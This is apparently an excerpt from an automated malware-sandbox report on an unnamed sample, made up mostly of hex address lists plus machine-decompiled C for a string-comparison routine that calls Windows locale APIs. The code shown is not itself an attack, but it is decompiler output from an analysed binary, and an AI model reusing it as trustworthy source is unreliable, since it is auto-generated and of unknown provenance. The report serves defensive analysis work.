                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476c64
                                                                                                                                                                            0x00476c64
                                                                                                                                                                            0x00476c68
                                                                                                                                                                            0x00476c6c
                                                                                                                                                                            0x00476c6d
                                                                                                                                                                            0x00476c70
                                                                                                                                                                            0x00476c71
                                                                                                                                                                            0x00476c77
                                                                                                                                                                            0x00476c78
                                                                                                                                                                            0x00476c7f
                                                                                                                                                                            0x00476c7f
                                                                                                                                                                            0x00476c83
                                                                                                                                                                            0x00476c8a
                                                                                                                                                                            0x00476c8a
                                                                                                                                                                            0x00476c8e
                                                                                                                                                                            0x00476c8f
                                                                                                                                                                            0x00476c97
                                                                                                                                                                            0x00476cc0
                                                                                                                                                                            0x00476cc0
                                                                                                                                                                            0x00476cc4
                                                                                                                                                                            0x00476cc9
                                                                                                                                                                            0x00476ccc
                                                                                                                                                                            0x00476ccf
                                                                                                                                                                            0x00476cd8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476c97
                                                                                                                                                                            0x00476c2a
                                                                                                                                                                            0x00476c01
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476cf5
                                                                                                                                                                            0x00476cf5
                                                                                                                                                                            0x00476cfc
                                                                                                                                                                            0x00476cfd
                                                                                                                                                                            0x00476d02
                                                                                                                                                                            0x00476d0c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476cd9
                                                                                                                                                                            0x00476cdd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476ce3
                                                                                                                                                                            0x00476ce3
                                                                                                                                                                            0x00476ce4
                                                                                                                                                                            0x00476ceb
                                                                                                                                                                            0x00476cf4
                                                                                                                                                                            0x00476cf4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476ae1
                                                                                                                                                                            0x00476aed
                                                                                                                                                                            0x00476afa
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476d0e
                                                                                                                                                                            0x00476d15
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476d17
                                                                                                                                                                            0x00476d17
                                                                                                                                                                            0x00476d1b
                                                                                                                                                                            0x00476d1f
                                                                                                                                                                            0x00476d27
                                                                                                                                                                            0x00476d2b
                                                                                                                                                                            0x00476d30
                                                                                                                                                                            0x00476d31
                                                                                                                                                                            0x00476d32
                                                                                                                                                                            0x00476d3a
                                                                                                                                                                            0x00476d3e
                                                                                                                                                                            0x00476d43
                                                                                                                                                                            0x00476d46
                                                                                                                                                                            0x00476d4d
                                                                                                                                                                            0x00476d56
                                                                                                                                                                            0x00476d56
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476d57
                                                                                                                                                                            0x00476d5b
                                                                                                                                                                            0x00476d5c
                                                                                                                                                                            0x00476d5e
                                                                                                                                                                            0x00476d68
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476d6e
                                                                                                                                                                            0x00476d6e
                                                                                                                                                                            0x00476d73
                                                                                                                                                                            0x00476d76
                                                                                                                                                                            0x00476d7b
                                                                                                                                                                            0x00476d7f
                                                                                                                                                                            0x00476d82
                                                                                                                                                                            0x00476d86
                                                                                                                                                                            0x00476d8b
                                                                                                                                                                            0x00476d8f
                                                                                                                                                                            0x00476d93
                                                                                                                                                                            0x00476d9a
                                                                                                                                                                            0x00476d9e
                                                                                                                                                                            0x00476da7
                                                                                                                                                                            0x00476e0b
                                                                                                                                                                            0x00476e0b
                                                                                                                                                                            0x00476e0f
                                                                                                                                                                            0x00476e19
                                                                                                                                                                            0x00476e22
                                                                                                                                                                            0x00476da9
                                                                                                                                                                            0x00476da9
                                                                                                                                                                            0x00476dad
                                                                                                                                                                            0x00476db1
                                                                                                                                                                            0x00476db2
                                                                                                                                                                            0x00476dbb
                                                                                                                                                                            0x00476e00
                                                                                                                                                                            0x00476e04
                                                                                                                                                                            0x00476e05
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476dbd
                                                                                                                                                                            0x00476dc3
                                                                                                                                                                            0x00476dc6
                                                                                                                                                                            0x00476dcb
                                                                                                                                                                            0x00476dd4
                                                                                                                                                                            0x00476dd9
                                                                                                                                                                            0x00476de0
                                                                                                                                                                            0x00476de1
                                                                                                                                                                            0x00476de7
                                                                                                                                                                            0x00476deb
                                                                                                                                                                            0x00476df0
                                                                                                                                                                            0x00476df3
                                                                                                                                                                            0x00476df6
                                                                                                                                                                            0x00476df6
                                                                                                                                                                            0x00476dff
                                                                                                                                                                            0x00476dff
                                                                                                                                                                            0x00476dbb
                                                                                                                                                                            0x00476da7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00476ad4
                                                                                                                                                                            0x00476aae
                                                                                                                                                                            0x00476ab3
                                                                                                                                                                            0x00476ab6
                                                                                                                                                                            0x00476ac6
                                                                                                                                                                            0x00476ac6
                                                                                                                                                                            0x00476aac
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: InitVariant
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1927566239-0
                                                                                                                                                                            • Opcode ID: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                                            • Instruction ID: b17386a2766a1a739d91313a8bf0106a5dd250ff49ec0cac6ee5761d63536315
                                                                                                                                                                            • Opcode Fuzzy Hash: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                                            • Instruction Fuzzy Hash: 87A1F5766146019FC300EF65D88499FB7AAFF85315F408D3EFA49C3211D77AD4098BAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00428604 Relevance: 25.8, APIs: 17, Instructions: 306stringCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 91%
                                                                                                                                                                            			E00428604(char* __ebx, intOrPtr* __esi) {
				void* __edi;
				long _t90;
				short* _t91;
				short* _t108;
				short* _t110;
				short* _t113;
				signed int _t116;
				void* _t118;
				short* _t119;
				signed int _t121;
				void* _t123;
				short* _t124;
				char* _t126;
				char* _t129;
				char* _t135;
				void* _t136;
				char* _t137;
				int _t138;
				int _t139;
				int _t142;
				char _t152;
				char _t153;
				int _t158;
				short* _t161;
				void* _t162;
				char* _t163;
				short* _t165;
				short* _t166;
				intOrPtr* _t167;
				void* _t168;
				void* _t169;
				short* _t170;
				signed int _t172;
				short* _t174;

				_t167 = __esi;
				_t135 = __ebx;
				if(CompareStringW(_t161, _t161, 0x4832ac, 1, 0x4832ac, 1) == 0) {
					_t90 = GetLastError();
					__eflags = _t90 - 0x78;
					if(_t90 == 0x78) {
						 *0x49727c = 2;
					}
				} else {
					 *0x49727c = 1;
				}
				if( *(_t172 + 0x10) <= _t161) {
					__eflags =  *(_t172 + 0x10) - 0xffffffff;
					if( *(_t172 + 0x10) >= 0xffffffff) {
						goto L6;
					}
					goto L9;
				} else {
					 *(_t172 + 0x10) = E004285BA( *(_t172 + 0x10));
					L6:
					_t158 =  *(_t172 + 0x18);
					if(_t158 <= _t161) {
						__eflags = _t158 - 0xffffffff;
						if(_t158 < 0xffffffff) {
							L9:
							_t91 = 0;
							L83:
							_pop(_t162);
							_pop(_t168);
							_pop(_t136);
							return E00421FA7(_t91, _t136,  *(_t172 - 4) ^ _t172, _t158, _t162, _t168);
						}
						L11:
						_t142 =  *0x49727c;
						if(_t142 == 2 || _t142 == _t161) {
							_t163 = 0;
							_t137 = 0;
							__eflags =  *(_t172 + 8);
							if( *(_t172 + 8) == 0) {
								 *(_t172 + 8) =  *( *_t167 + 0x14);
							}
							__eflags =  *(_t172 + 0x1c) - _t163;
							if( *(_t172 + 0x1c) == _t163) {
								 *(_t172 + 0x1c) =  *( *_t167 + 4);
							}
							_t169 = L004253C4(_t137, _t158, _t163, _t167,  *(_t172 + 8));
							__eflags = _t169 - 0xffffffff;
							if(_t169 != 0xffffffff) {
								__eflags = _t169 -  *(_t172 + 0x1c);
								if(_t169 ==  *(_t172 + 0x1c)) {
									L80:
									_t170 = CompareStringA( *(_t172 + 8),  *(_t172 + 0xc),  *(_t172 - 0x24),  *(_t172 + 0x10),  *(_t172 - 0x1c),  *(_t172 + 0x18));
									__eflags = _t137;
									if(__eflags != 0) {
										_push(_t137);
										E00413A88(_t137, _t158, _t163, _t170, __eflags);
										_push(_t163);
										E00413A88(_t137, _t158, _t163, _t170, __eflags);
									}
									_t91 = _t170;
									goto L83;
								}
								_t137 = E0042540D(_t158,  *(_t172 + 0x1c), _t169,  *(_t172 - 0x24), _t172 + 0x10, 0, 0);
								__eflags = _t137;
								if(_t137 == 0) {
									goto L9;
								}
								_t163 = E0042540D(_t158,  *(_t172 + 0x1c), _t169,  *(_t172 - 0x1c), _t172 + 0x18, 0, 0);
								__eflags = _t163;
								if(__eflags != 0) {
									 *(_t172 - 0x24) = _t137;
									 *(_t172 - 0x1c) = _t163;
									goto L80;
								}
								_push(_t137);
								E00413A88(_t137, _t158, _t163, _t169, __eflags);
							}
							goto L9;
						} else {
							_t91 = 1;
							if(_t142 != 1) {
								goto L9;
							}
							 *(_t172 - 0x28) = _t161;
							if( *(_t172 + 0x1c) == _t161) {
								 *(_t172 + 0x1c) =  *( *_t167 + 4);
							}
							if( *(_t172 + 0x10) == _t161 || _t158 == _t161) {
								if( *(_t172 + 0x10) != _t158) {
									__eflags = _t158 - _t91;
									if(_t158 > _t91) {
										goto L83;
									}
									__eflags =  *(_t172 + 0x10) - _t91;
									if( *(_t172 + 0x10) <= _t91) {
										_t108 = GetCPInfo( *(_t172 + 0x1c), _t172 - 0x18);
										__eflags = _t108;
										if(_t108 == 0) {
											goto L9;
										}
										__eflags =  *(_t172 + 0x10) - _t161;
										if( *(_t172 + 0x10) <= _t161) {
											__eflags =  *(_t172 + 0x18) - _t161;
											if( *(_t172 + 0x18) <= _t161) {
												goto L42;
											}
											__eflags =  *(_t172 - 0x18) - 2;
											if( *(_t172 - 0x18) >= 2) {
												__eflags =  *((char*)(_t172 - 0x12));
												_t126 = _t172 - 0x12;
												if( *((char*)(_t172 - 0x12)) == 0) {
													goto L35;
												} else {
													goto L37;
												}
												while(1) {
													L37:
													_t158 =  *((intOrPtr*)(_t126 + 1));
													__eflags = _t158;
													if(_t158 == 0) {
														goto L35;
													}
													_t152 =  *( *(_t172 - 0x1c));
													__eflags = _t152 -  *_t126;
													if(_t152 <  *_t126) {
														L40:
														_t126 = _t126 + 2;
														__eflags =  *_t126;
														if( *_t126 != 0) {
															continue;
														}
														goto L35;
													}
													__eflags = _t152 - _t158;
													if(_t152 <= _t158) {
														goto L19;
													}
													goto L40;
												}
											}
											L35:
											_t91 = 1;
											goto L83;
										}
										__eflags =  *(_t172 - 0x18) - 2;
										if( *(_t172 - 0x18) < 2) {
											goto L23;
										}
										__eflags =  *((char*)(_t172 - 0x12));
										_t129 = _t172 - 0x12;
										if( *((char*)(_t172 - 0x12)) == 0) {
											goto L23;
										} else {
											goto L28;
										}
										while(1) {
											L28:
											_t158 =  *((intOrPtr*)(_t129 + 1));
											__eflags = _t158;
											if(_t158 == 0) {
												goto L23;
											}
											_t153 =  *_t135;
											__eflags = _t153 -  *_t129;
											if(_t153 <  *_t129) {
												L31:
												_t129 = _t129 + 2;
												__eflags =  *_t129;
												if( *_t129 != 0) {
													continue;
												}
												goto L23;
											}
											__eflags = _t153 - _t158;
											if(_t153 <= _t158) {
												goto L19;
											}
											goto L31;
										}
									}
									L23:
									_push(3);
									L20:
									_pop(_t91);
									goto L83;
								}
								L19:
								_push(2);
								goto L20;
							} else {
								L42:
								_t138 = MultiByteToWideChar( *(_t172 + 0x1c), 9, _t135,  *(_t172 + 0x10), _t161, _t161);
								 *(_t172 - 0x2c) = _t138;
								__eflags = _t138 - _t161;
								if(_t138 == _t161) {
									goto L9;
								}
								__eflags = _t138;
								if(_t138 <= 0) {
									L52:
									_t38 = _t172 - 0x20;
									 *_t38 =  *(_t172 - 0x20) & 0x00000000;
									__eflags =  *_t38;
									L53:
									__eflags =  *(_t172 - 0x20);
									if( *(_t172 - 0x20) == 0) {
										goto L9;
									}
									_t110 = MultiByteToWideChar( *(_t172 + 0x1c), 1,  *(_t172 - 0x24),  *(_t172 + 0x10),  *(_t172 - 0x20), _t138);
									__eflags = _t110;
									if(_t110 == 0) {
										L69:
										E00415E5C( *(_t172 - 0x20));
										_t91 =  *(_t172 - 0x28);
										goto L83;
									}
									_t139 = MultiByteToWideChar( *(_t172 + 0x1c), 9,  *(_t172 - 0x1c),  *(_t172 + 0x18), 0, 0);
									__eflags = _t139;
									if(__eflags == 0) {
										goto L69;
									}
									if(__eflags <= 0) {
										L64:
										_t165 = 0;
										__eflags = 0;
										L65:
										__eflags = _t165;
										if(_t165 != 0) {
											_t113 = MultiByteToWideChar( *(_t172 + 0x1c), 1,  *(_t172 - 0x1c),  *(_t172 + 0x18), _t165, _t139);
											__eflags = _t113;
											if(_t113 != 0) {
												 *(_t172 - 0x28) = CompareStringW( *(_t172 + 8),  *(_t172 + 0xc),  *(_t172 - 0x20),  *(_t172 - 0x2c), _t165, _t139);
											}
											E00415E5C(_t165);
										}
										goto L69;
									}
									_t116 = 0xffffffe0;
									_t158 = _t116 % _t139;
									__eflags = _t116 / _t139 - 2;
									if(_t116 / _t139 < 2) {
										goto L64;
									}
									_t53 = _t139 + 8; // 0x8
									_t118 = _t139 + _t53;
									__eflags = _t118 - 0x400;
									if(_t118 > 0x400) {
										_t119 = E004138BA(_t139, _t158, 0x400, _t118);
										__eflags = _t119;
										if(_t119 != 0) {
											 *_t119 = 0xdddd;
											_t119 =  &(_t119[4]);
											__eflags = _t119;
										}
										_t165 = _t119;
										goto L65;
									}
									E00421FC0(_t118);
									_t166 = _t174;
									__eflags = _t166;
									if(_t166 == 0) {
										goto L69;
									}
									 *_t166 = 0xcccc;
									_t165 =  &(_t166[4]);
									goto L65;
								}
								_t121 = 0xffffffe0;
								_t158 = _t121 % _t138;
								__eflags = _t121 / _t138 - 2;
								if(_t121 / _t138 < 2) {
									goto L52;
								}
								_t36 = _t138 + 8; // 0x8
								_t123 = _t138 + _t36;
								__eflags = _t123 - 0x400;
								if(_t123 > 0x400) {
									_t124 = E004138BA(_t138, _t158, 0x400, _t123);
									__eflags = _t124;
									if(_t124 == 0) {
										L51:
										 *(_t172 - 0x20) = _t124;
										goto L53;
									}
									 *_t124 = 0xdddd;
									L50:
									_t124 =  &(_t124[4]);
									__eflags = _t124;
									goto L51;
								}
								E00421FC0(_t123);
								_t124 = _t174;
								__eflags = _t124;
								if(_t124 == 0) {
									goto L51;
								}
								 *_t124 = 0xcccc;
								goto L50;
							}
						}
					}
					_t158 = E004285BA(_t158);
					 *(_t172 + 0x18) = _t158;
					goto L11;
				}
			}





































                                                                                                                                                                            0x00428604
                                                                                                                                                                            0x00428604
                                                                                                                                                                            0x00428619
                                                                                                                                                                            0x00428627
                                                                                                                                                                            0x0042862d
                                                                                                                                                                            0x00428630
                                                                                                                                                                            0x00428632
                                                                                                                                                                            0x00428632
                                                                                                                                                                            0x0042861b
                                                                                                                                                                            0x0042861b
                                                                                                                                                                            0x0042861b
                                                                                                                                                                            0x0042863f
                                                                                                                                                                            0x00428667
                                                                                                                                                                            0x0042866b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428641
                                                                                                                                                                            0x0042864c
                                                                                                                                                                            0x0042864f
                                                                                                                                                                            0x0042864f
                                                                                                                                                                            0x00428654
                                                                                                                                                                            0x00428674
                                                                                                                                                                            0x00428677
                                                                                                                                                                            0x0042866d
                                                                                                                                                                            0x0042866d
                                                                                                                                                                            0x00428936
                                                                                                                                                                            0x00428939
                                                                                                                                                                            0x0042893a
                                                                                                                                                                            0x0042893b
                                                                                                                                                                            0x00428947
                                                                                                                                                                            0x00428947
                                                                                                                                                                            0x00428679
                                                                                                                                                                            0x00428679
                                                                                                                                                                            0x00428682
                                                                                                                                                                            0x00428881
                                                                                                                                                                            0x00428883
                                                                                                                                                                            0x00428885
                                                                                                                                                                            0x00428888
                                                                                                                                                                            0x0042888f
                                                                                                                                                                            0x0042888f
                                                                                                                                                                            0x00428892
                                                                                                                                                                            0x00428895
                                                                                                                                                                            0x0042889c
                                                                                                                                                                            0x0042889c
                                                                                                                                                                            0x004288a7
                                                                                                                                                                            0x004288aa
                                                                                                                                                                            0x004288ad
                                                                                                                                                                            0x004288b3
                                                                                                                                                                            0x004288b6
                                                                                                                                                                            0x00428908
                                                                                                                                                                            0x00428920
                                                                                                                                                                            0x00428922
                                                                                                                                                                            0x00428924
                                                                                                                                                                            0x00428926
                                                                                                                                                                            0x00428927
                                                                                                                                                                            0x0042892c
                                                                                                                                                                            0x0042892d
                                                                                                                                                                            0x00428933
                                                                                                                                                                            0x00428934
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428934
                                                                                                                                                                            0x004288cc
                                                                                                                                                                            0x004288d1
                                                                                                                                                                            0x004288d3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004288ed
                                                                                                                                                                            0x004288f2
                                                                                                                                                                            0x004288f4
                                                                                                                                                                            0x00428902
                                                                                                                                                                            0x00428905
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428905
                                                                                                                                                                            0x004288f6
                                                                                                                                                                            0x004288f7
                                                                                                                                                                            0x004288fc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428690
                                                                                                                                                                            0x00428692
                                                                                                                                                                            0x00428695
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428697
                                                                                                                                                                            0x0042869d
                                                                                                                                                                            0x004286a4
                                                                                                                                                                            0x004286a4
                                                                                                                                                                            0x004286aa
                                                                                                                                                                            0x004286b7
                                                                                                                                                                            0x004286c1
                                                                                                                                                                            0x004286c3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004286c9
                                                                                                                                                                            0x004286cc
                                                                                                                                                                            0x004286d9
                                                                                                                                                                            0x004286df
                                                                                                                                                                            0x004286e1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004286e3
                                                                                                                                                                            0x004286e6
                                                                                                                                                                            0x00428711
                                                                                                                                                                            0x00428714
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428716
                                                                                                                                                                            0x0042871a
                                                                                                                                                                            0x00428724
                                                                                                                                                                            0x00428728
                                                                                                                                                                            0x0042872b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042872d
                                                                                                                                                                            0x0042872d
                                                                                                                                                                            0x0042872d
                                                                                                                                                                            0x00428730
                                                                                                                                                                            0x00428732
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428737
                                                                                                                                                                            0x00428739
                                                                                                                                                                            0x0042873b
                                                                                                                                                                            0x00428745
                                                                                                                                                                            0x00428746
                                                                                                                                                                            0x00428747
                                                                                                                                                                            0x0042874a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042874c
                                                                                                                                                                            0x0042873d
                                                                                                                                                                            0x0042873f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042873f
                                                                                                                                                                            0x0042872d
                                                                                                                                                                            0x0042871c
                                                                                                                                                                            0x0042871e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042871e
                                                                                                                                                                            0x004286e8
                                                                                                                                                                            0x004286ec
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004286ee
                                                                                                                                                                            0x004286f2
                                                                                                                                                                            0x004286f5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004286f7
                                                                                                                                                                            0x004286f7
                                                                                                                                                                            0x004286f7
                                                                                                                                                                            0x004286fa
                                                                                                                                                                            0x004286fc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004286fe
                                                                                                                                                                            0x00428700
                                                                                                                                                                            0x00428702
                                                                                                                                                                            0x00428708
                                                                                                                                                                            0x00428709
                                                                                                                                                                            0x0042870a
                                                                                                                                                                            0x0042870d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042870f
                                                                                                                                                                            0x00428704
                                                                                                                                                                            0x00428706
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428706
                                                                                                                                                                            0x004286f7
                                                                                                                                                                            0x004286ce
                                                                                                                                                                            0x004286ce
                                                                                                                                                                            0x004286bb
                                                                                                                                                                            0x004286bb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004286bb
                                                                                                                                                                            0x004286b9
                                                                                                                                                                            0x004286b9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042874e
                                                                                                                                                                            0x0042874e
                                                                                                                                                                            0x00428761
                                                                                                                                                                            0x00428763
                                                                                                                                                                            0x00428766
                                                                                                                                                                            0x00428768
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428773
                                                                                                                                                                            0x00428775
                                                                                                                                                                            0x004287b7
                                                                                                                                                                            0x004287b7
                                                                                                                                                                            0x004287b7
                                                                                                                                                                            0x004287b7
                                                                                                                                                                            0x004287bb
                                                                                                                                                                            0x004287bb
                                                                                                                                                                            0x004287bf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004287d4
                                                                                                                                                                            0x004287d6
                                                                                                                                                                            0x004287d8
                                                                                                                                                                            0x00428870
                                                                                                                                                                            0x00428873
                                                                                                                                                                            0x00428878
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042887b
                                                                                                                                                                            0x004287ef
                                                                                                                                                                            0x004287f1
                                                                                                                                                                            0x004287f3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004287f5
                                                                                                                                                                            0x00428839
                                                                                                                                                                            0x00428839
                                                                                                                                                                            0x00428839
                                                                                                                                                                            0x0042883b
                                                                                                                                                                            0x0042883b
                                                                                                                                                                            0x0042883d
                                                                                                                                                                            0x0042884c
                                                                                                                                                                            0x0042884e
                                                                                                                                                                            0x00428850
                                                                                                                                                                            0x00428866
                                                                                                                                                                            0x00428866
                                                                                                                                                                            0x0042886a
                                                                                                                                                                            0x0042886f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042883d
                                                                                                                                                                            0x004287fb
                                                                                                                                                                            0x004287fc
                                                                                                                                                                            0x004287fe
                                                                                                                                                                            0x00428801
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428803
                                                                                                                                                                            0x00428803
                                                                                                                                                                            0x00428807
                                                                                                                                                                            0x00428809
                                                                                                                                                                            0x00428822
                                                                                                                                                                            0x00428828
                                                                                                                                                                            0x0042882a
                                                                                                                                                                            0x0042882c
                                                                                                                                                                            0x00428832
                                                                                                                                                                            0x00428832
                                                                                                                                                                            0x00428832
                                                                                                                                                                            0x00428835
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428835
                                                                                                                                                                            0x0042880b
                                                                                                                                                                            0x00428810
                                                                                                                                                                            0x00428812
                                                                                                                                                                            0x00428814
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428816
                                                                                                                                                                            0x0042881c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042881c
                                                                                                                                                                            0x0042877b
                                                                                                                                                                            0x0042877c
                                                                                                                                                                            0x0042877e
                                                                                                                                                                            0x00428781
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428783
                                                                                                                                                                            0x00428783
                                                                                                                                                                            0x00428787
                                                                                                                                                                            0x00428789
                                                                                                                                                                            0x0042879f
                                                                                                                                                                            0x004287a5
                                                                                                                                                                            0x004287a7
                                                                                                                                                                            0x004287b2
                                                                                                                                                                            0x004287b2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004287b2
                                                                                                                                                                            0x004287a9
                                                                                                                                                                            0x004287af
                                                                                                                                                                            0x004287af
                                                                                                                                                                            0x004287af
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004287af
                                                                                                                                                                            0x0042878b
                                                                                                                                                                            0x00428790
                                                                                                                                                                            0x00428792
                                                                                                                                                                            0x00428794
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428796
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428796
                                                                                                                                                                            0x004286aa
                                                                                                                                                                            0x00428682
                                                                                                                                                                            0x0042865f
                                                                                                                                                                            0x00428662
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00428662

                                                                                                                                                                            APIs
                                                                                                                                                                            • CompareStringW.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428611
                                                                                                                                                                            • GetLastError.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428627
                                                                                                                                                                            • strncnt.LIBCMT ref: 00428646
                                                                                                                                                                            • strncnt.LIBCMT ref: 0042865A
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: strncnt$CompareErrorLastString
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1776594460-0
                                                                                                                                                                            • Opcode ID: e80208da7236277a47a7a9b21d01462e6b082503e85dbe22a212a8a8ff21b74f
                                                                                                                                                                            • Instruction ID: 056e5a993d73ec50dc3c8e072878bb631c9b69e1f80941a2a69bbd8adeb14d7f
                                                                                                                                                                            • Opcode Fuzzy Hash: e80208da7236277a47a7a9b21d01462e6b082503e85dbe22a212a8a8ff21b74f
                                                                                                                                                                            • Instruction Fuzzy Hash: 0DA1B131B01225AFDF219F61EC41AAF7BB6AF94340FA4402FF81196251DF3D8891CB58
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046D6EB Relevance: 25.0, APIs: 5, Strings: 9, Instructions: 474COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 81%
                                                                                                                                                                            			E0046D6EB(void* __eflags, void* __fp0, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, char _a24, char _a28, char _a32) {
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
